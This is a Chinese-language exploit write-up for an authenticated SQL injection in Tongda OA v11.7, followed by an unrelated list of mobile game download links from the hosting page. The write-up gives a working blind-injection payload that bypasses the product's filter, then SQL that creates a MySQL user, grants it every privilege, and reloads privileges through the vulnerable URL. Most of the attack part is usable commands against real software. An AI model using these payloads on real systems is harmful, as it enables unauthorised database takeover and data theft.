2020-09-21
测试版本:通达OA v11.7版本
限制条件:需要账号登录
注入出现在general/hr/manage/query/delete_cascade.php文件中,代码实现如下:
首先判断$condition_cascade是否为空,如果不为空,则将其中的\'替换为'。为什么要这样替换呢,主要是因为V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护,如下:
inc/common.inc.php代码
因为是无回显机制,是盲注,所以尝试(select 1 from (select sleep(5))a),结果没那么简单:
触发了通达OA的过滤机制,翻看代码,在inc/conn.php文件中找到过滤机制如下:
其过滤了一些字符,但是并非无法绕过,盲注的核心是:substr、if等函数,均未被过滤,所以还是有机会的。
传入错误的SQL语句时,页面出错:
那么只要构造MySQL报错即可配合if函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现power(9999,99)也可以使数据库报错,所以构造语句:
select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错
添加用户
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
然后用注入点刷新权限,因为该用户是没有刷新权限的权限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;这样就拥有了所有权限。再次登录:
提示这个,或者让改密码死活改不了。再执行一下
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@1
23' WITH GRANT OPTION
即可。
原始征途九游版下载v1.0.95 安卓版
动作闯关 404.9M
下载龙族卡塞尔之门手游下载v1.3.1 安卓版
卡牌对战 734.0M
下载爆炒江湖官服下载v1.43 安卓版
角色扮演 842.8M
下载宝宝学abc宝宝巴士游戏下载v10.00.24.11 安卓官方版
其它手游 171.1M
下载奇妙商场嘉年华最新版本(改名奇妙故事创造家)下载v9.87.58.00 安卓版
其它手游 221.1M
下载最佳球会九游版下载v2.5.161 安卓官方版
经营养成 1.87G
下载热血传奇跨服新大陆官方手游下载v1.9.134.15150 安卓最新版本
角色扮演 1.50G
下载波比的游戏时间第四章玩家自制版(PlaytimeStarterKit)下载v9.1 安卓版
其它手游 1.14G
下载方块枪战block gun游戏下载v9.8 安卓版
下载
zepeto中文版(更名崽崽ZEPETO)下载v4.2.210 安卓版
下载
现代战舰手游下载v0.94.3.120515958 安卓手机版
下载
Modern Warships现代战舰国际服官方正版下载v0.94.3.120515958 安卓最新版
下载
2025指尖捕鱼新版下载v10.2.44.7.0 安卓正版
下载
指尖捕鱼赢话费版下载v10.2.44.7.0 安卓版
下载
指尖捕鱼高爆率多人捕鱼游戏下载v10.2.44.7.0 安卓版
下载
指尖捕鱼吴孟达版下载v10.2.44.7.0 安卓最新版
下载